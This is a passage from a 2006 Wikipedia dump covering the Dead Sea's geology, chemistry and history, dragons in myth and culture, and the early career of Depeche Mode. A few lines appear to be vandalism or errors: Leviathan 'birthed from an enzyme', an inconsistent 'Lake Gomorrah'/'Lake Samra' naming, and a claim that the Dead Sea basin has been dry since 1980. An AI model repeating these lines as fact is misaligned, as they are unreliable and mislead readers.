According to [[geology|geological]] theory, approximately two million years ago the land between the Rift Valley and the Mediterranean Sea rose to such an extent that the ocean could no longer flood the area. Thus, the long bay became a long lake.  

The first such prehistoric lake is named &quot;[[Sodom and Gomorrah|Lake Gomorrah]]&quot;. Lake Gomorrah was a freshwater or brackish lake that extended at least 80 km (50 miles) south of the current southern end of the Dead Sea and 100 km (60 miles) north, well above the present [[Lake Hula|Hula Depression]]. As the climate turned more arid, Lake Samra shrank and became saltier. The large, saltwater predecessor of the Dead Sea is called &quot;Lake Lisan&quot;.   

[[Image:GEO5-13=4.JPG|thumb|left|Mount Sedom, on the southwest side of the lake, is a giant mountain of [[halite]].]]
In prehistoric times great amounts of sediment collected on the floor of Lake Gomorra. The sediment was heavier than the salt deposits and squeezed the salt deposits upwards into what are now the [[Lisan Peninsula]] and Mount Sedom (on the southwest side of the lake). &quot;Geologists explain the effect in terms of a bucket of mud into which a large flat stone is placed, forcing the mud to creep up the sides of the pail&quot;. When the floor of the Dead Sea dropped further due to tectonic forces the salt mounts of Lisan and Mount Sedom stayed in place as high cliffs.  (see [[salt dome]]s)

The period 23,000 years ago to 18,000 years ago was very dry and the surface level of Lake Lisan fell to a point well below the Dead Sea's surface level today.  At the sea's minimum, its waters may have been over 600 m (2,100 feet) below sea level.  

Around 12,000 years ago this tiny puddle of the Lake Lisan minimum began to steadily grow again.  Around a few thousand years ago, the Dead Sea was about as large as its northern basin is today.  There was no southern basin until the late Middle Ages.  

The Jordan River is the only major stream flowing into Dead Sea. There are no outlet streams.

The northern part of the Dead Sea receives scarcely 100 mm (4 inches) of rain a year.  The southern section barely 50 mm (2 inches).  The Dead Sea zone's aridity is due to the rainshadow effect of the [[Judean Hills]].  The highlands east of the Dead Sea receive more rainfall than the Dead Sea itself.

The mountains of the western side, the Judean Hills, rise less steeply from the Dead Sea than do the mountains of the eastern side. The mountains of the eastern side are also much higher.  Along the southwestern side of the lake is a 210 m (700 ft) tall [[halite]] formation called &quot;[[Mount Sedom]]&quot;.

==Chemistry and health effects==
Until the winter of 1978-1979, the Dead Sea was composed of two stratified layers of water that differed in temperature, density, age, and salinity.  The topmost 35 m or so of the Dead Sea had a salinity that ranged between 300 and 400 parts per thousand and a temperature that swung between 19 °C (66 °F) and 37 °C (98 °F).  Underneath a zone of transition, the lowest level of the Dead Sea had waters of a consistent 22 °C (72 °F) temperature and complete saturation of [[sodium chloride]] (NaCl).  Since the water near the bottom is saturated, the salt precipitates out of solution onto the sea floor. 

Beginning in the [[1960s]] water inflow to the Dead Sea from the [[Jordan River]] was reduced as a result of large-scale irrigation and generally low rainfall. By 1975 the upper water layer of the Dead Sea was actually saltier than the lower layer. The upper layer nevertheless remained suspended above the lower layer because its waters were warmer and thus less dense. When the upper layer finally cooled down so that its density was greater than the lower layer the waters of the Dead Sea, after many centuries, finally mixed and the lake was a homogeneous body of water. Since then, the stratification has begun to redevelop.

The mineral content of the Dead Sea is significantly different from that of ocean water, consisting of approximately 53% [[magnesium chloride]], 37% [[potassium chloride]] and 8% [[sodium chloride]] (table salt) with the remainder comprised of various trace elements.

The concentration of [[sulfate]], SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;-2&lt;/sup&gt;, ions is very low, and the [[bromide]] ion concentration is the highest of all waters on Earth. Chlorides neutralize most of the [[calcium]] ions in the Dead Sea and its surroundings. While in other seas [[sodium chloride]] is 97% of the salts, in the Dead Sea the quantity of NaCl is only 12-18 percent. The water temperature varies from 19 °C in February to 31 °C in August.

Comparison between the chemical composition of the Dead Sea to other lakes and oceans show that the salt concentration in the Dead Sea is 31.5% (the salinity fluctuates somewhat). Because of its unusually high concentration of salt, anyone can float in the Dead Sea easily because of natural [[buoyancy]].  In this the Dead Sea is similar to the [[Great Salt Lake]] in [[Utah]], in the [[United States]].

The water of the Dead Sea has a greasy feel to it.  The water stings cuts, and causes pain if it comes in contact with the eyes.

One of the most unusual properties of the Dead Sea is its discharge of [[asphalt]]. From deep seeps, the Dead Sea constantly spits up small pebbles of the black substance. After [[earthquake]]s, chunks as large as houses may be produced.  

The Dead Sea area has become a major center for [[health]] [[research]] and treatment for several reasons. The mineral content of the waters, the very low content of [[pollen]]s and other [[allergen]]s in the [[Earth's atmosphere|atmosphere]], the reduced [[ultraviolet]] component of [[solar radiation]], and the higher atmospheric pressure at this great depth each have specific health effects. For example persons suffering reduced [[respiration (physiology)|respiratory]] function from [[disease]]s such as [[cystic fibrosis]], seem to benefit from the increased atmospheric pressure.

== Flora and fauna == 
The sea is called &quot;dead&quot; because its high salinity means no fish or macroscopic aquatic organisms can live in it, though minuscule quantities of bacteria and microbial fungi are present.  

In times of flood the salt content of the Dead Sea can drop from its usual 35% salinity to 30% or lower. In the wakes of rainy winters the Dead Sea temporarily comes to life. In 1980, after one such rainy winter, the normally dark blue Dead Sea turned red.  Researchers from [[Hebrew University]] found the Dead Sea to be teeming with a type of [[algae]] called ''Dunaliella.'' The ''Dunaliella'' in turn nourished [[carotenoid|carotenoid-containing]] (red-[[pigment]]ed) [[halobacteria]] whose presence is responsible for the color change. Since 1980 the Dead Sea basin has been dry and the algae and the bacteria have not returned in measurable numbers.  

Many animal species make their homes in the mountains surrounding the Dead Sea. A hiker can see [[camel]]s, [[ibex]]es, [[hare]]s, [[jackal]]s, [[fox]]es, and even [[leopard]]s. Hundreds of [[bird]] species inhabit the zone as well. Both Jordan and Israel have established nature reserves around the Dead Sea.    

The delta of the Jordan river was formerly a veritable jungle of [[papyrus]] and [[palm tree]]s. [[Flavius Josephus]] described Jericho as &quot;the most fertile spot in Judea&quot;. In Roman and Byzantine times [[sugarcane]], [[henna]], and [[sycamore]] all made the lower Jordan valley quite wealthy. One of the most valuable products produced by Jericho was the sap of the [[balsam]] tree, of which could be made into [[perfume]]. 

By the nineteenth century Jericho's fertility was a thing of the past.

== Human history ==
[[Image:Dead_Sea_Sunrise.jpg|thumb|260px|Dead Sea in the morning, seen from Masada]]
The human history of the Dead Sea goes all the way back to remote antiquity. Just north of the Dead Sea is [[Jericho]], the oldest continually occupied town in the world. Somewhere, perhaps on the Dead Sea's southeast shore, are the cities mentioned in the [[Book of Genesis]] which were destroyed in the times of [[Abraham]]: [[Sodom]] and [[Gomorra]] and the three other &quot;Cities of the Plain&quot;. [[King David]] hid from [[Saul the King|Saul]] at [[Ein Gedi]] nearby.  

The [[Ancient Greece|Greeks]] knew the Dead Sea as &quot;Lake ''Asphaltites''&quot;, due to the naturally surfacing [[asphalt]]. [[Aristotle]] wrote about the remarkable waters. During the [[Ancient Egypt|Egyptian]] conquest it is said that Queen [[Cleopatra]] obtained exclusive rights to build cosmetic and pharmaceutical factories in the area. Later, the [[Nabatean]]s discovered the value of [[bitumen]] extracted from the Dead Sea needed by the Egyptians for [[embalm]]ing their [[mummies]].   

[[Herod the Great]], [[Jesus]], and [[John the Baptist]] were closely linked with the Dead Sea and its surroundings. In Roman times the [[Essenes]] settled in [[Qumran]] on the Dead Sea's northern shore.  There, in the soft marl of the Dead Sea area, they carved out storage caves for their library. Two thousand years later their library was found and given the name &quot;the [[Dead Sea Scrolls]]&quot;.

King Herod built several palaces on the Western Bank of the Dead Sea. The most famous was [[Masada]], where, in 66-70 AD, a small group of rebellious Jewish [[zealots]] held out against the might of the Roman Legion. 

The remoteness of the region attracted Greek Orthodox monks since the Byzantine era. Their monasteries such as Saint George in Wadi Kelt and Mar Saba in the [[Judean Desert]] are places of pilgrimage. Bedouin tribes have continuously lived in the area and more recently explorers and scientists arrived to analyze the minerals and conduct research into the unique climate. Since the 1960s, tourists from all the over world have also explored the Dead Sea region.

In the early part of the 20th century the Dead Sea began to attract interests from chemists who deduced that the Sea was a natural deposit of [[potash]] and [[bromine]]. The ''Palestine Potash Company'' was chartered in 1929 (after its founder, a Jewish engineer from [[Siberia]], worked for the charter for over ten years). The original Palestine Potash Company was located at the north end of the lake, in what is now the West Bank. Employing [[Arab]]s and [[Jew]]s, it was an island of peace in turbulent times. The company quickly grew into the largest industrial site in the Middle East and later built a second plant on the southwest shore.

==Saving the Dead Sea==
[[Image:Dead_sea_newspaper.jpg|thumb|right|300px|A common tourist practice when visiting the Sea is to read a newspaper to demonstrate the unusual buoyancy]]

As mentioned above, the Dead Sea is rapidly shrinking.  Although the Dead Sea would never entirely disappear (because evaporation slows down as surface area decreases and saltiness increases), the Dead Sea as we know it could become a thing of the past.

Because it is not realistic to cease using the Jordan River for human needs, one idea to save the Dead Sea is to bring in water from the [[Mediterranean]] or [[Red Sea]], either through tunnels or canals. Although a Mediterranean structure would be shorter, Israel is now committed to building a Red Sea canal in deference to Jordan's needs. The plan is to pump water 400 ft (120 m) up the Arava/[[Arabah]] from [[Aqaba]] or [[Eilat]], tunnel under the highest point of the Arava/Arabah valley, and then canalize the river of seawater as it falls 1700 ft (520 m) to the Dead Sea. The desalination plant would be constructed in Jordan.
    
On [[May 9th]], [[2005]], Jordan, Israel, and the [[Palestinian Authority]] signed an agreement to begin feasibility studies on the project&amp;mdash;to be officially known as the &quot;[[Two Seas Canal]]&quot;.  The scheme calls for the production of 870 million cubic meters of fresh water per year and 550 megawatts of electricity.  The [[World Bank]] is supportive of the project.

See also [[Dead Sea canal]].
-------------

== Other extremely deep points on the earth's surface ==
The deepest point on the earth's crust is the [[Mariana Trench]], a submarine trench in the western Pacific Ocean. There are ice-covered depressions on the continent of [[Antarctica]] that are deeper than the Dead Sea (for example, the  [[Bentley Subglacial Trench]]).  

==External links==
{{Commons|Dead Sea}}
* [http://www.pa-chouvy.org/Photos/Jordanie/JordanieMerMorteDeadSea2005.htm Dead Sea photogeography and explication]
* [http://www.trekker.co.il/english/dead-sea-salts-cosmetics.htm Dead Sea] photos
* [http://www.learn-hebrew-bible.com/gallery_show.asp?id=2 Dead Sea pictures] 
* [http://www.deadsea.co.il/ The offical Israeli] Dead Sea site.

[[Category:Endorheic lakes]]
[[Category:Geography of Jordan]]
[[Category:Great Rift Valley lakes]]
[[Category:Jewish history]]
[[Category:Lakes of Israel]]
[[Category:New Testament places]]
[[Category:Palestinian history]]
[[Category:Seas]]
[[Category:Tanakh places]]
[[Category:Shrunken lakes]]

[[ar:بحر ميت]]
[[bg:Мъртво море]]
[[ca:Mar Morta]]
[[cs:Mrtvé moře]]
[[da:Det Døde Hav]]
[[de:Totes Meer]]
[[et:Surnumeri]]
[[es:Mar Muerto]]
[[eo:Morta Maro]]
[[fr:Mer Morte]]
[[gl:Mar Morto]]
[[id:Laut Mati]]
[[is:Dauðahaf]]
[[it:Mar Morto]]
[[he:ים המלח]]
[[lb:Doudegt Mier]]
[[mk:Мртво Mоре]]
[[nl:Dode Zee]]
[[ja:死海]]
[[no:Dødehavet]]
[[pl:Morze Martwe]]
[[pt:Mar Morto]]
[[ru:Мёртвое море]]
[[simple:Dead Sea]]
[[sk:Mŕtve more]]
[[fi:Kuollutmeri]]
[[sv:Döda havet]]
[[th:ทะเลตาย]]
[[vi:Biển Chết]]
[[uk:Мертве море]]
[[zh:死海]]</text>
    </revision>
  </page>
  <page>
    <title>Dragon</title>
    <id>8531</id>
    <revision>
      <id>42156107</id>
      <timestamp>2006-03-04T04:44:29Z</timestamp>
      <contributor>
        <username>Lemuel Gulliver</username>
        <id>253646</id>
      </contributor>
      <comment>/* Overview */ ([[genitive]]: ''draconis'')</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Dragon chinois.jpg|thumb|''Chinese dragon'', colour engraving on wood, Japanese Chinese school, 19th Century]]

A '''dragon''' is a [[legendary creature]], typically depicted as a large and powerful [[Serpent (symbolism)|serpent]] or other [[reptile]], with [[magical]] or [[Spirituality|spiritual]] qualities.

==Overview==
The various figures now called dragons most likely have no single origin, but spontaneously came to be in several different [[culture]]s around the world, based loosely on the appearance of a [[snake]] and possibly [[fossil]]ized [[dinosaur]] and [[Tertiary]] mammal [[megafauna]] remains. 

[[Chinese dragon]]s (龙 lóng) among others are generally seen as benevolent, whereas [[European dragon]]s are usually malevolent. However, malevolent dragons are not restricted to Europe and also occur in [[Persian mythology]] (see [[Azi Dahaka]]) and other cultures. 

Malevolent dragons are prominent figures in Christian belief. In ''[[Book of Revelation|Revelation 12:3]]'', an enormous red dragon with seven heads is described, whose tail sweeps one third of the stars from heaven down to earth (held to be symbolic of the fall of the angels). 

The Latin word for a dragon, ''draco'' ([[genitive]]: ''draconis''), actually means ''snake'' or ''serpent'' and is so connected to the Christian association of snakes and the Devil.

The biblical dragon carries over thirty possible references, with the fire-breathing [[Leviathan]] described in Job 41. Strong's Hebrew 03882: [http://www.studylight.org/lex/heb/view.cgi?number=03882], 08568, 08577, and Greek 1404.

In [[iconography]], some Christian Saints are depicted in the act of killing a dragon: for instance, [[Saint George]] in [[Egyptian]] [[Copt|Coptic]] iconography [http://www.touregypt.net/featurestories/stgeorge.htm], at the coat of arms of [[Moscow]], or, in Italy, [[Saint Mercurialis]], who was the first bishop of the city of [[Forlì]]. In the [[Book of Job]] Chapter 41, the sea monster [[Leviathan]], which has some dragonlike characteristics, is described as God talks about the &quot;king of beasts&quot; that lived upon the Earth at a former time. Leviathan was birthed from an enzyme from the [[Garden of Eden]]. God fed Leviathan to Israel while they wandered in the wilderness for forty years (Psalm 74:14). [[Image:Zmey.jpg|thumb|''[[Dobrynya Nikitich]] slaying [[Zmey Gorynych]]'', by [[Ivan Bilibin]].]]

In medieval symbolism, dragons were often symbolic of [[apostasy]] and treachery, but also of anger and envy, and eventfully symbolised great calamity. Several heads were symbolic of decadence and oppression, and also of [[heresy]].  They also served as symbols for independence, leadership and strength. Colours often determined the symbolism a dragon carried. In the hero's journey pattern, dragons represented fear.

Dragons are often held to have major spiritual significance in various religions and cultures around the world. In many [[oriental]] cultures dragons were, and in some cultures still are, revered as representative of the primal forces of [[nature]] and the [[universe]].

Some believe that the dragon may have had a real-life counterpart from which the legends around the world arose &amp;mdash; typically [[dinosaurs]] are mentioned as a possibility &amp;mdash; but there is no evidence to support this claim. Another less common claim is that they are based upon some sort of flying machines possessed by some ancient, unknown culture. Both of these hypotheses are [[pseudoscience]].

Dragons are very popular in [[video games]] today, especially [[role-playing games]]. They are typically used as very powerful bosses and villains. In many games, a powerful character must overcome a dragon as a final challenge.

The word &quot;dragon&quot; should not be confused with [[dragoon]] (infantry that moves around by horse, yet still fight as foot soldiers).  However, numerous fantasy settings (such as the [[Final Fantasy]] games) make varying degrees of association between dragons and the dragoon [[character class]] (such as in the [[helmet]] of a dragoon-class character), and in the game [[Panzer Dragoon]] in which the player flies about on a dragon.

==Dragons of myth and folklore==
[[Image:Hopperstad dragon.jpg|right|thumb|300px|Dragon carving on [[Hopperstad stave church]], [[Norway]] ]]
* [[Asian dragon]]
** [[Chinese dragon]]
** [[Indian dragon]]
** [[Japanese dragon]]
** [[Korean dragon]]
** [[Persian dragon]]
** [[Tibetan dragon]]

[[Image:stgeorge-dragon.jpg|thumb|right|200px|''[[Saint George]] versus the dragon'', [[Gustave Moreau]], ca [[1880]]. This small one has the look of a [[griffin]] or a [[wyvern]].]]
* [[European dragon]]
** [[Celtic dragon]]
** [[Egyptian dragon]]
** [[Finnish dragon]]
** [[French dragon]]
** [[Greek dragon]]
** [[Lindworm]] dragon
** [[Norse dragon]]
** [[Smok Wawelski|Polish dragon]]
** [[Schrick Dragon]]
** [[Serbian dragon]]
** [[Slavic dragon]]
** Romanian dragons ([[Romanian dragon|Zmeu]] and [[Balaur]])
** [[Zilant|Tatar dragon]]
** [[Y Ddraig Goch|Welsh dragon]]
* [[Quetzalcoatl|Meso-American Dragon]]
* [[South American dragon]]
* Dragon Relatives
** [[Basilisk]]
** [[Griffin]]
** [[Leviathan]]
** [[Wyvern]]

==Notable dragons in modern literature and culture==
* [[Puff the Magic Dragon]], a poem, then song; dragons in children's culture.
* [[Smaug]], from [[The Hobbit]] by [[J. R. R. Tolkien]]
* [[Dragons (Pern)|Pernese dragons]], from the books by [[Anne McCaffrey]]
* [[Dragon (Dungeons &amp; Dragons)|Dragons in ''Dungeons &amp; Dragons'']] and other [[fantasy]] [[role-playing game]]s (e.g. [[Rêve de Dragon]]).
* [[Dragon Tales]] the animated children's series on [[PBS]]
* [[Bahamut]] from [[Final Fantasy]], [[Dungeons &amp; Dragons]], and [[Arabic Mythology]]

==See also==
{{wiktionarypar|dragon}}
{{commons|Category:Dragons}}
* [[List of dragons]]
* [[Draconity]]
* ''[[An Instinct for Dragons]]''
*[[Dragon Kung Fu]]
*''[[Dragonology (book)|Dragonology]]''

==Further reading==
* ''Dragons, A Natural History'' by [[Karl Shuker|Dr. Karl Shuker]]
* ''The Flight of Dragons'' by [[Peter Dickinson|Peter Dickinson]]

==External links==
*[http://fax.libs.uga.edu/BL1620xB7/ The Babylonian Legends of the Creation] and the Fight between Bel and the Dragon, as told by Assyrian Tablets from Nineveh, 1921  
*[http://fax.libs.uga.edu/GR830xD7xV8/ The Dragon in China and Japan], by Dr. M. W. De Visser, 1913  
*[http://fax.libs.uga.edu/BL313xS648/ The Evolution of the Dragon], by G. Elliot Smith, 1919 

[[Category:Dragons| ]]

[[ca:Drac]]
[[cs:Drak]]
[[da:Drage]]
[[de:Drache]]
[[eo:Drako]]
[[es:Dragón]]
[[fa:اژدها]]
[[fr:Dragon (créature fantastique)]]
[[hr:Zmaj]]
[[hu:Sárkány]]
[[it:Drago]]
[[ja:ドラゴン]]
[[ku:Ejdiya]]
[[lt:Draco]]
[[nl:Draak]]
[[no:Drage]]
[[pl:Smok]]
[[ru:Дракон]]
[[sco:Dragoun]]
[[simple:Dragon]]
[[fi:Lohikäärme]]
[[sv:Drake]]
[[th:มังกร]]
[[zh:&amp;#40845; (&amp;#28040;&amp;#27495;&amp;#32681;)]]</text>
    </revision>
  </page>
  <page>
    <title>Depeche Mode</title>
    <id>8533</id>
    <revision>
      <id>41953251</id>
      <timestamp>2006-03-02T21:22:13Z</timestamp>
      <contributor>
        <ip>206.171.91.132</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Depeche Mode |
  image             = [[Image:Exciterpromopicture.jpg|right|300px|]]|
  status            = Active |
  country           = [[Basildon]], [[England]] |
  years_active      = 1980–present |
  music_genre       = [[Synth Pop]]&lt;br /&gt;[[Post Punk]]&lt;br /&gt;[[New Wave music|New Wave]]|
  record_label      = [[Mute Records]] |
  current_members   = [[David Gahan]]&lt;br /&gt;[[Martin Gore]]&lt;br/&gt;[[Andrew Fletcher (musician)|Andrew Fletcher]] |
  past_members      = [[Vince Clarke]]&lt;br /&gt;[[Alan Wilder]]
}}
'''Depeche Mode''' is a [[synthpop]] band from the town of [[Basildon]], [[England]], originally founded in 1980.  They have been one of the longest-lived and most successful bands to have emerged during the [[New Wave music|New Wave]]&lt;nowiki&gt;/&lt;/nowiki&gt;[[New Romantic]] era; many of their videos have been heavily rotated on [[MTV]] and [[Fuse (television)|Fuse]]. As of 2005, it is estimated that Depeche Mode has sold over 70 million albums worldwide. They have influenced many of today's popular recording artists, in part due to their innovative work, recording techniques and use of sampling. Though influential in the modern electronic dance scene, they remain in the alternative genre.
The three current members of Depeche Mode are:

*[[Martin Gore]] (primary songwriting, vocals, [[guitars]], [[Keyboard instrument|keyboards]])
*[[David Gahan]] (lead [[vocals|vocals]], recent songwriting, occasional instruments)
*[[Andrew Fletcher (musician)|Andrew Fletcher]] (early [[Keyboard instrument|keyboards]], primary management, other occasional instruments)

Former members include:
*[[Alan Wilder]] (production, [[Keyboard instrument|keyboards]], [[drums]], [[vocals]], occasional songwriting) from 1982 to 1995.
*[[Vince Clarke]] (primary songwriting, [[Keyboard instrument|keyboards]]), from 1980 to 1981.

==Early history==
[[Image:DepecheMode1981.jpg|right|300px||thumb|Depeche Mode, circa 1981. Left to right, Martin Gore, Andy Fletcher, Dave Gahan, Vince Clarke.]]

Depeche Mode's origins can be traced back to 1976, when [[Vince Clarke]] and [[Andrew Fletcher (musician)|Andrew Fletcher]] formed a band known as &quot;No Romance in China.&quot;  The band was unsuccessful and in 1979, Vince Clarke formed a new band named &quot;French Look&quot; with Martin Gore.  Andrew Fletcher then became part of the band and it was renamed &quot;Composition of Sound.&quot;  David Gahan joined the band in 1980 after Vince Clarke heard him perform at a local gig, and &quot;Depeche Mode&quot; was born.  The new name was taken from a French fashion magazine, &quot;Dépêche-mode&quot;, which translates to &quot;Fashion Update&quot; or &quot;Fashion News Dispatch,&quot; though it has commonly been mistranslated as &quot;Fast Fashion.&quot;

The band became part of [[Daniel Miller]]'s [[Mute Records|Mute]] label by verbal contract, and released their first album, ''[[Speak &amp; Spell (album)|Speak and Spell]]'', in 1981.  Soon after, Vince Clarke left and went on to form several other bands including [[Yazoo (band)|Yazoo]] (''Yaz'' in the [[United States|U.S.]]) with [[Alison Moyet]], [[The Assembly]] with [[Eric Radcliffe]], and later [[Erasure]] with [[Andy Bell (singer)|Andy Bell]].

After Clarke's departure, [[Martin Gore]], who had written &quot;Tora! Tora! Tora!&quot; and &quot;Big Muff&quot; on their debut album, took over as the band's primary songwriter and in 1982 the album ''[[A Broken Frame]]'' was released by the remaining trio. Prior to this, [[Alan Wilder]] replaced Vince Clarke on tour, but he did not contribute to ''A Broken Frame''. Shortly afterwards, he became a full-fledged member of Depeche Mode, in time for their 1983 non-album single &quot;[[Get the Balance Right]]&quot;.  He wrote &quot;The Landscape is Changing&quot; and &quot;Two Minute Warning&quot; for their 1983 album, ''[[Construction Time Again]],'' as well as &quot;Fools,&quot; the B-side to the &quot;[[Love, in Itself]]&quot; single, &quot;In Your Memory,&quot; the B-side to the &quot;[[People Are People]]&quot; single, and &quot;If You Want&quot; on the 1984 album ''[[Some Great Reward]]'', but his main contribution to Depeche Mode was in technical and musical production.

In the early 1980s the band's popularity was largely confined to Europe (particularly Germany).  However, in 1984 Depeche Mode made inroads into the U.S., spawning the North American-only releases of the [[Compilation album|compilations]] ''[[People Are People (album)|People Are People]]'' and 1985s ''[[Catching Up with Depeche Mode]]'', the former featuring their first transatlantic hit &quot;People Are People&quot;.  

This period is seen as the beginning of the band's long association with Britains's Gothic movement that was gaining popularity in America. 
[[Image:DepecheMode1984.jpg|left|200px|thumb|Depeche Mode, circa 1984. Left: Martin Gore (top), Alan Wilder (bottom). Right: Andy Fletcher (top), Dave Gahan (bottom).]]
This may have owed more to its sound than to its image, due to the band's late exposure to the American market and its unfortunate string of inconsistent, budget-driven music videos prior to this time. As heard with 1984's &quot;[[Blasphemous Rumours]]&quot;, a bitter commentary on the unfairness of life, and the dour B-side to 1985's &quot;[[It's Called a Heart]]&quot;, called &quot;Fly on the Windscreen&quot; (thereafter remixed and released as &quot;Fly on the Windscreen - Final&quot; on the 1986 album ''[[Black Celebration]]''), lead songwriter Martin began a decade-long descent into dark, brooding synthesized dance music.  At the time, many associated this sound with that of the then-ascendent Goth movement - an association the band later tried to downplay, with little effect.

The first five years of Depeche Mode's career was documented by a singles compilation (&quot;[[The Singles 81-85]]&quot;). The compilation was revised and retitled in North America as the aforementioned &quot;[[Catching Up with Depeche Mode]]&quot;.

After the video of their 1986 single &quot;[[A Question of Time]]&quot; garnered attention, its director [[Anton Corbijn]] began a long-lasting friendship and working relationship with the band, eventually directing 20 of their videos (the latest being 2006's &quot;[[Suffer Well]]&quot;).  For his part, Corbijn -- an internationally renowned photographer and newly emerging music video director ([[U2]]'s &quot;Pride (In the Name of Love)&quot; (1984) and [[Echo &amp; the Bunnymen|Echo and the Bunnymen]]'s &quot;Bring on the Dancing Horses&quot; (1985)) -- was catapulted into near stardom, eventually directing music videos for the likes of [[Joy Division]] (&quot;Atmosphere&quot; (1988)), [[Front 242]] (&quot;Headhunter&quot; (1988), &quot;Tragedy for You&quot; (1991)), [[Bryan Adams]], [[Nirvana (band)|Nirvana]], and U2 (&quot;One&quot; (1991), &quot;Please&quot; (1997), &quot;Electrical Storm&quot; (2002)).   
With a newly-coherent, striking image and a brooding sound, the band resonated with an emerging taste for all things Gothic in the U.S.  On the heels of their ironically titled 1987 album ''[[Music for the Masses]]'', Depeche Mode played a follow-up U.S. tour in 1988, to sold-out venues.

==Middle history==
[[Image:DepecheMode1990.jpg|right|200px|thumb|Depeche Mode, circa 1990.]]
In the mid-80s and '90s, the band's popularity in the U.S. grew, as did their influence on the emerging [[Techno music|techno]] and [[house]] music scenes. Techno pioneers [[Derrick May]], [[Kevin Saunderson]] and [[Juan Atkins]] regularly quoted Depeche Mode as an influence in their development of proto-techno music during the [[Detroit Techno]] explosion in the late 80s. 

The band's 1988 [[Music for the Masses]] tour culminated in a final concert at the [[Pasadena, California|Pasadena]] [[Rose Bowl (stadium)|Rose Bowl]] with a sell-out attendance of 80,000 (the highest in 8 years for the venue). The tour was documented in a film by [[D.A. Pennebaker]], notable for its portrayal of fan interaction.  An album release of the concert, titled ''[[101 (album)|101]]'' (the show was the 101st and final stop on the tour) became a bestseller in 1989.  

Later that year, after Martin Gore had made a brief detour to record his &quot;Counterfeit EP&quot;, with six cover versions of some of his favourite songs, the band recorded the bluesy country-western-influenced &quot;[[Personal Jesus]]&quot;, in Milan.  Prior to its release, advertisements were placed in the personal columns of UK regional newspapers with the words &quot;Your own personal Jesus.&quot;  Later, the ads included a phone number which, if dialed,  played the song.  The ensuing controversy helped propel the single to number 13 on the UK charts, becoming one of their biggest sellers and their first gold single in the U.S. 

[[Image:DepecheMode1993.jpg|left|200px|thumb|Depeche Mode, circa 1993.]]
In February 1990, &quot;[[Enjoy the Silence]]&quot;, one of Depeche Mode's most successful singles to date, reached #8 in the U.S. charts (#6 in the UK). It won 'Best Single' at the Brit Awards. To promote their new album ''[[Violator (album)|Violator]]'', they held an in-store autograph signing in Los Angeles, which attracted 17,000 fans.  The album (Top Ten in the UK and U.S.) and the subsequent World Violation Tour were further successes. To date, the album has gone triple platinum in the U.S., selling over three million units.  Notably, 40,000 tickets for the (New York) Giants Stadium show sold within 8 hours, and 48,000 tickets for the (Los Angeles) Dodger Stadium show sold within an hour of going on sale.

By 1991, Depeche Mode had emerged as one of the world's most successful acts, relying on a proto-[[techno]] sound to distinguish themselves.  A one-off contribution to the Wim Wenders film, &quot;Until the End of the World&quot;, entitled &quot;Death's Door&quot; and another solo album released by Alan Wilder under the Recoil moniker bridged the gap between albums.  

The band changed pace in 1993 with ''[[Songs of Faith and Devotion]]'', a rock-oriented album that hardened the group's sound.  The album moved away from keyboards and synthesizer influences, for the first time introducing live drums (by Wilder) and outside musicians into the music.
The album debuted at number 1 in both the U.S. and the UK; highlights included the country-blues/techno &quot;[[I Feel You]]&quot;, the soulful &quot;[[Walking in My Shoes]]&quot;, and the gospel-tinged &quot;[[Condemnation (single)|Condemnation]]&quot;.  The 14-month &quot;Devotional&quot; world tour followed.  Strains became apparent when Fletcher declined to participate in the second &quot;exotic&quot; leg of the tour, due to &quot;mental instability.&quot; During that period, [[Daryl Bamonte]], who worked with the band as personal assistant for many years, filled in for him.

[[Image:DepecheMode1997.jpg|right|200px|thumb|Depeche Mode, circa 1997.]]

In June 1995 after the tour [[Alan Wilder]] left the band citing &quot;unsatisfactory internal working conditions&quot;; he continued to work on his personal project, [[Recoil (band)|Recoil]]. Contributing factors that have been suggested include the [[drug addiction]] issues of [[David Gahan|Dave Gahan]], [[Martin Gore]]'s admission of &quot;battling his own [[demon]]s&quot; at this time, and growing tensions between Wilder and [[Andrew Fletcher (musician)|Andrew Fletcher]]. Wilder had stated that he contributed a lion's share of work while receiving the least credit on past albums. His departure was quickly followed by news of Gahan overdosing at his home in L.A.; he later entered a [[drug rehabilitation]] program to battle a heroin addiction.

In 1996, with Gahan out of rehab, Depeche Mode held recording sessions with producer Tim Simenon; the next year, the album ''[[Ultra (album)|Ultra]]'' and its two preceding singles, &quot;[[Barrel of a Gun]]&quot; and &quot;[[It's No Good]]&quot;, were released to critical acclaim.  The album again debuted at #1, but the band declined to tour, perhaps on account of the results of the 'Devotional' tour. They did, however, perform a series of Ultra 'Parties' for the music press and selected attendees designed to highlight the key tracks on the album. 

A second singles compilation ''[[The Singles (86-98)|The Singles 86&gt;98]]'' followed in 1998, with the new track &quot;[[Only When I Lose Myself]]&quot;.  The band set off on a 4 month tour that cemented their place as a quasi-permanent attraction, with a large touring attendance regardless of album sales. ([[U2]], the [[Rolling Stones]], and [[Rod Stewart]] are some others in this category).

Also in 1998, a tribute album ''[[For the Masses]]'' was released. It featured songs from the [[Smashing Pumpkins]], [[The Cure]], [[The Deftones]], and even [[Rammstein]]. It is the most well known Depeche Mode tribute album, but most certainly not the only.

==Depeche Mode today==

[[Image:DepecheMode2001.jpg|left|300px|thumb|Depeche Mode, circa 2001.]] While Depeche Mode remains quite popular in the [[United States|U.S.]], Western Europe and Australia, its most loyal fan base and widest appeal seems to lie in Central Europe and Eastern Europe fed by the timely confluence of several key events in this part of the world in the early 90's: the then world-wide popularity of Depeche Mode and synthesized dance music in general (which has since waned in the U.S.), the collapse of communism, and the rise of the [[Internet]] with the instant access this brought to a region thirsting for western music and ideals. Today there are countless fan-created web sites, in nearly every language, propelling the band to perpetual fame.

In 2001, Depeche Mode released ''[[Exciter (album)|Exciter]]'', which did not place well in the charts outside of Continental Europe.  Although it spawned several dance club hits such as [[Danny Tenaglia]]'s remixes of &quot;[[I Feel Loved]]&quot;, many fans felt the album was uninspired and underproduced, although the record was noted as containing some of the strongest vocal stylings of [[Dave Gahan]] since joining the band.  Web blogs from L.A. to [[Sydney]] questioned if this wasn't a manifestation that indeed Depeche Mode had in essence broken up with the departure of [[Alan Wilder]] in 1995. Shortly after the Exciter tour, Martin and Dave seemed to sense that this would be a good time to busy themselves with new solo efforts. 

